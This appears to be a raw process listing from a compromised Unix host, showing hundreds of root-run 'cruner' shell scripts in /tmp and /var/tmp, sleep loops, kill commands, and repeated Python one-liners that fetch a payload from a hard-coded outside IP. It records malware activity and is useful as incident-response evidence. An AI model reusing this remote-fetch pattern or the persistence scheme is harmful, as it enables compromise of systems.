/var/tmp/cruner > root 15673 7377 0 15:43:21 ? 0:00 bash -sh > root 7407 5122 0 15:44:13 ? 0:00 bash -sh > root 15969 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22088 20721 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17808 10163 0 15:45:06 ? 0:00 sleep 60 > root 10139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19436 1308 0 - ? 0:00 <defunct> > root 10098 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1546 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18900 19741 0 15:45:42 ? 0:00 sleep 60 > root 15855 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28556 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19881 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27925 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14070 18845 0 15:45:41 ? 0:00 bash -sh > root 28032 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17867 16115 0 - ? 0:00 <defunct> > root 16069 21439 0 - ? 0:00 <defunct> > root 3565 11997 0 15:43:08 ? 0:00 bash -sh > root 9436 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14363 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6484 15952 0 - ? 0:00 <defunct> > root 18399 12374 0 15:44:35 ? 0:00 bash -sh > root 22455 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 83 4156 0 15:45:34 ? 0:00 sleep 60 > root 6782 24756 0 15:45:35 ? 0:00 bash -sh > root 26115 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3794 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23698 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4504 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13152 12376 0 - ? 0:00 <defunct> > root 10479 14847 0 - ? 0:00 <defunct> > root 17039 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2285 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27315 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27915 4628 0 15:45:18 ? 0:00 sleep 60 > root 14351 27602 0 15:45:55 ? 0:00 sleep 60 > root 25548 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5016 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22413 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25771 16344 0 - ? 0:00 <defunct> > root 7018 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16342 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28426 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19826 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19403 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12696 550 0 - ? 0:00 <defunct> > root 7703 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4293 4073 0 15:45:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17455 27687 0 15:45:42 ? 0:00 sh /tmp/cruner > root 27931 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25626 22049 0 - ? 0:00 <defunct> > root 16197 4519 0 15:45:42 ? 0:00 sleep 60 > root 4526 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29933 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6997 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12594 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14973 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17949 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11317 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7352 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11567 11513 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20146 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19252 25183 0 - ? 0:00 <defunct> > root 6846 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15630 3791 0 - ? 0:00 <defunct> > root 15913 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 24364 23155 0 15:45:13 ? 0:00 sleep 60 > root 27879 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28845 3477 0 15:45:08 ? 0:00 bash -sh > root 27204 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4763 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13164 15947 0 - ? 0:00 <defunct> > root 7481 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12199 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3042 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29969 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22979 11404 0 15:45:43 ? 0:00 bash -sh > root 22000 24611 0 - ? 0:00 <defunct> > root 24393 7969 0 15:45:27 ? 0:00 sleep 60 > root 12901 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15633 12279 0 15:45:11 ? 0:00 bash -sh > root 19356 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25126 12719 0 15:45:43 ? 0:00 sleep 60 > root 24065 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 24630 7789 0 15:45:33 ? 0:00 xargs kill -9 > root 13813 18960 0 15:45:55 ? 0:00 sleep 60 > root 26380 15189 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 10966 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23539 12826 0 15:45:43 ? 0:00 sleep 60 > root 9137 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16926 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19961 15177 0 15:45:12 ? 0:00 sleep 60 > root 22279 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22636 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18725 15905 0 - ? 0:00 <defunct> > root 25288 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18639 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17580 12978 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 3609 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2135 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25737 4514 0 15:45:07 ? 0:00 bash -sh > root 4257 2901 0 15:45:09 ? 0:00 sleep 60 > root 20957 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18733 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19425 10606 0 15:46:00 ? 0:00 xargs kill -9 > root 26325 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29116 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6566 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26245 23007 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 18404 8422 0 15:45:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8483 1077 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 10636 17498 0 15:45:41 ? 0:00 sleep 60 > root 18109 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11011 26721 0 - ? 0:00 <defunct> > root 9149 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1120 28907 0 15:46:02 ? 0:00 sleep 60 > root 22969 10718 0 15:45:13 ? 0:00 sleep 60 > root 20174 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17191 8144 0 15:45:37 ? 0:00 bash -sh > root 21867 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4869 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1835 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 841 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11881 17913 0 - ? 0:00 <defunct> > root 3204 2884 0 15:45:48 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25512 12587 0 - ? 0:00 <defunct> > root 15730 1182 0 - ? 0:00 <defunct> > root 20057 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7377 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12830 14971 0 15:45:55 ? 0:00 sleep 60 > root 28346 26535 0 15:45:34 ? 0:00 sleep 60 > root 2687 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6158 16602 0 15:45:20 ? 0:00 sleep 60 > root 27893 2745 0 15:44:45 ? 0:00 bash -sh > root 11457 22979 0 - ? 0:00 <defunct> > root 5119 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18825 19100 0 - ? 0:00 <defunct> > root 20431 16482 0 15:44:40 ? 0:00 bash -sh > root 17715 18313 0 - ? 0:00 <defunct> > root 9828 29080 0 - ? 0:00 <defunct> > root 21381 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15881 22118 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28969 8859 0 - ? 0:00 <defunct> > root 6222 21817 0 15:45:35 ? 0:00 bash -sh > root 28947 26175 0 15:45:34 ? 0:00 sleep 60 > root 8313 8303 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8896 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3481 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23472 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28349 6193 0 15:45:14 ? 0:00 sleep 60 > root 19959 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29067 27443 0 15:44:01 ? 0:00 bash -sh > root 638 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6270 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15897 9049 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29628 1 0 21:09:28 ? 0:00 sh /var/tmp/cruner > root 10427 28486 0 - ? 0:00 <defunct> > root 7350 29653 0 15:45:04 ? 0:00 bash -sh > root 23234 19403 0 15:44:58 ? 0:00 bash -sh > root 8315 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2726 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 572 17642 0 15:44:11 ? 0:00 bash -sh > root 26404 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9378 15324 0 15:45:20 ? 0:00 sleep 60 > root 5013 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2228 17539 0 15:44:11 ? 0:00 bash -sh > root 9725 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22831 2938 0 15:46:01 ? 0:00 sh /tmp/cruner > root 2159 29672 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27710 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27829 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 109 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9491 29129 0 15:44:24 ? 0:00 bash -sh > root 22878 8902 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 25569 855 0 15:45:39 ? 0:00 bash -sh > root 27483 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16623 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19055 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17646 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7762 13988 0 - ? 0:00 <defunct> > root 18777 22998 0 - ? 0:00 <defunct> > root 19244 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18044 14742 0 - ? 0:00 <defunct> > root 6351 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10047 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6629 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9641 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6180 11774 0 - ? 0:00 <defunct> > root 12193 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17855 21386 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20278 29658 0 - ? 0:00 <defunct> > root 18626 10626 0 - ? 0:00 <defunct> > root 14994 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3446 26736 0 15:43:36 ? 0:00 bash -sh > root 13319 28725 0 - ? 0:00 <defunct> > root 2664 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19260 18394 0 - ? 0:00 <defunct> > root 7650 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15747 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8097 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7753 24249 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 8663 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11841 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3149 13552 0 15:45:35 ? 0:00 sleep 60 > root 27747 9437 0 15:45:27 ? 0:00 sleep 60 > root 5988 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20250 29658 0 - ? 0:00 <defunct> > root 20436 13597 0 15:44:53 ? 0:00 bash -sh > root 9774 9764 0 - ? 0:00 <defunct> > root 8731 210 0 15:45:49 ? 0:00 bash -sh > root 25750 269 0 - ? 0:00 <defunct> > root 25176 9312 0 15:45:52 ? 0:00 xargs kill -9 > root 2319 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24930 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23040 3790 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 19178 20779 0 15:45:22 ? 0:00 xargs kill -9 > root 9643 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7231 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5645 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3590 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27248 909 0 - ? 0:00 <defunct> > root 17370 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22881 15132 0 15:45:38 ? 0:00 bash -sh > root 14035 9419 0 - ? 0:00 <defunct> > root 376 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9732 28725 0 - ? 0:00 <defunct> > root 15716 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24826 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10945 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29013 4143 0 15:44:59 ? 0:00 bash -sh > root 24887 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19649 6220 0 15:45:56 ? 0:00 xargs kill -9 > root 1091 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24779 7800 0 15:45:13 ? 0:00 bash -sh > root 4723 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24106 27988 0 15:44:00 ? 0:00 bash -sh > root 28003 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2856 22137 0 15:45:40 ? 0:00 sleep 60 > root 9854 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16974 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16133 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14919 14386 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22030 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28519 12704 0 15:45:18 ? 0:00 sleep 60 > root 29906 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27508 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13870 29560 0 15:43:33 ? 0:00 bash -sh > root 12308 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21115 13641 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 19971 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8615 3642 0 15:45:10 ? 0:00 sleep 60 > root 28813 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23026 7369 0 - ? 0:00 <defunct> > root 28847 446 0 15:45:43 ? 0:00 xargs kill -9 > root 15572 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8392 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28937 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14130 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14228 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17201 12193 0 15:45:42 ? 0:00 bash -sh > root 17649 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1841 555 0 15:43:17 ? 0:00 bash -sh > root 15352 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24269 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17750 2056 0 15:45:16 ? 0:00 sleep 60 > root 18212 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5311 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21095 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12521 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7386 5025 0 - ? 0:00 <defunct> > root 23840 10574 0 15:45:13 ? 0:00 sh /var/tmp/cruner > root 4830 11612 0 - ? 0:00 <defunct> > root 13780 11238 0 - ? 0:00 <defunct> > root 23417 21308 0 15:43:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5032 16322 0 - ? 0:00 <defunct> > root 28854 23350 0 15:45:39 ? 0:00 /bin/ksh -p /bin/kill -9 > root 25792 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10144 15508 0 15:45:41 ? 0:00 sh /tmp/cruner > root 1961 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9844 27920 0 15:45:01 ? 0:00 bash -sh > root 5345 5339 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26087 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2394 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15524 23924 0 15:45:05 ? 0:00 sleep 60 > root 14147 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13706 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16535 5503 0 15:44:52 ? 0:00 bash -sh > root 4374 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9589 12522 0 15:45:05 ? 0:00 sleep 60 > root 23317 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16422 22387 0 15:44:17 ? 0:00 bash -sh > root 9250 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29088 24538 0 15:45:18 ? 0:00 sleep 60 > root 20018 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28564 441 0 - ? 0:00 <defunct> > root 1640 3548 0 15:45:31 ? 0:00 sleep 60 > root 27002 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5667 3389 0 15:45:20 ? 0:00 bash -sh > root 14665 14628 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6860 11773 0 15:45:49 ? 0:00 xargs kill -9 > root 25454 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10637 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5486 3755 0 15:45:20 ? 0:00 sleep 60 > root 18204 5300 0 - ? 0:00 <defunct> > root 434 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18860 24008 0 - ? 0:00 <defunct> > root 21089 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26082 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11577 9342 0 15:45:59 ? 0:00 bash -sh > root 7419 7414 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15529 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 11777 19075 0 15:45:59 ? 0:00 bash -sh > root 28987 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3386 29092 0 15:45:19 ? 0:00 bash -sh > root 4089 13120 0 - ? 0:00 <defunct> > root 1090 11903 0 - ? 0:00 <defunct> > root 15516 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28098 11005 0 15:45:34 ? 0:00 sleep 60 > root 20842 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12463 24345 0 - ? 0:00 <defunct> > root 28344 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 341 13965 0 15:45:44 ? 0:00 bash -sh > root 16321 11358 0 - ? 0:00 <defunct> > root 11472 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7209 14149 0 15:45:20 ? 0:00 sleep 60 > root 20471 159 0 15:46:00 ? 0:00 bash -sh > root 17905 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6536 5245 0 - ? 0:00 <defunct> > root 5456 10089 0 15:45:31 ? 0:00 sleep 60 > root 8832 8305 0 - ? 0:00 <defunct> > root 22286 11338 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1582 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7395 7373 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17655 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3625 13364 0 - ? 0:00 <defunct> > root 26540 4129 0 - ? 0:00 <defunct> > root 17613 8552 0 15:45:42 ? 0:00 bash -sh > root 3854 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19868 13435 0 15:45:06 ? 0:00 sleep 60 > root 911 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18984 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18641 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7518 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21246 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13589 15674 0 15:45:11 ? 0:00 bash -sh > root 21522 21507 0 15:42:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23050 19616 0 15:43:23 ? 0:00 bash -sh > root 22577 14136 0 15:45:42 ? 0:00 sleep 60 > root 20647 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1161 9999 0 15:45:58 ? 0:00 sleep 60 > root 24246 6506 0 - ? 0:00 <defunct> > root 6569 6229 0 15:45:35 ? 0:00 bash -sh > root 9265 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21202 5281 0 - ? 0:00 <defunct> > root 4948 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18271 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1622 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25124 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4702 17344 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15335 11990 0 15:45:51 ? 0:00 bash -sh > root 22922 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5149 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9126 8631 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15160 15138 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18011 9718 0 15:43:12 ? 0:00 bash -sh > root 29960 24336 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 14918 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4063 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8137 23710 0 15:45:09 ? 0:00 sleep 60 > root 16537 7152 0 - ? 0:00 <defunct> > root 4283 18554 0 15:45:19 ? 0:00 sleep 60 > root 26916 27950 0 15:44:45 ? 0:00 bash -sh > root 18299 15108 0 15:44:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24230 27684 0 - ? 0:00 <defunct> > root 10068 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9782 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12218 8206 0 15:45:41 ? 0:00 sh /tmp/cruner > root 20676 12074 0 - ? 0:00 <defunct> > root 29792 10184 0 15:45:34 ? 0:00 sleep 60 > root 25388 11840 0 - ? 0:00 <defunct> > root 9606 26569 0 15:45:25 ? 0:00 sleep 60 > root 29606 8874 0 - ? 0:00 <defunct> > root 13735 13661 0 - ? 0:00 <defunct> > root 19596 12765 0 - ? 0:00 <defunct> > root 19602 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12718 3756 0 15:45:21 ? 0:00 sleep 60 > root 14889 24712 0 15:46:00 ? 0:00 bash -sh > root 13006 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8237 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16257 20632 0 - ? 0:00 <defunct> > root 24952 23078 0 15:44:54 ? 0:00 bash -sh > root 28235 23676 0 15:45:57 ? 0:00 /bin/ksh -p /bin/kill -9 > root 448 28835 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20911 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17376 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24142 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10558 10533 0 15:45:21 ? 0:00 bash -sh > root 17604 8867 0 15:43:27 ? 0:00 bash -sh > root 26852 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11315 11300 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22576 21587 0 15:45:42 ? 0:00 sleep 60 > root 20372 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26883 8826 0 15:46:02 ? 0:00 bash -sh > root 17117 8542 0 - ? 0:00 <defunct> > root 26608 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21070 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18920 4520 0 15:45:51 ? 0:00 bash -sh > root 13374 4564 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3212 14497 0 15:45:19 ? 0:00 bash -sh > root 13895 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19450 14237 0 15:44:53 ? 0:00 bash -sh > root 20715 25537 0 15:45:29 ? 0:00 sleep 60 > root 99 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28420 2520 0 15:46:02 ? 0:00 sleep 60 > root 12867 1 0 22:10:53 ? 0:00 sh /var/tmp/cruner > root 7241 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12110 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23774 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29822 27902 0 15:45:53 ? 0:00 bash -sh > root 18033 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3913 3835 0 - ? 0:00 <defunct> > root 19130 3404 0 15:45:26 ? 0:00 sleep 60 > root 18219 23936 0 15:44:06 ? 0:00 bash -sh > root 22341 25651 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 9856 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11366 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7785 3957 0 15:42:53 ? 0:00 bash -sh > root 26515 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11980 11591 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11300 29780 0 15:45:59 ? 0:00 bash -sh > root 1931 15923 0 15:42:56 ? 0:00 bash -sh > root 27911 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23155 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20895 1 0 17:01:01 ? 0:01 sh /var/tmp/cruner > root 15241 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3529 2805 0 15:45:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21470 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6562 34 0 15:43:37 ? 0:00 bash -sh > root 324 29025 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21623 10401 0 15:46:05 ? 0:00 bash -sh > root 16708 16707 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1176 28928 0 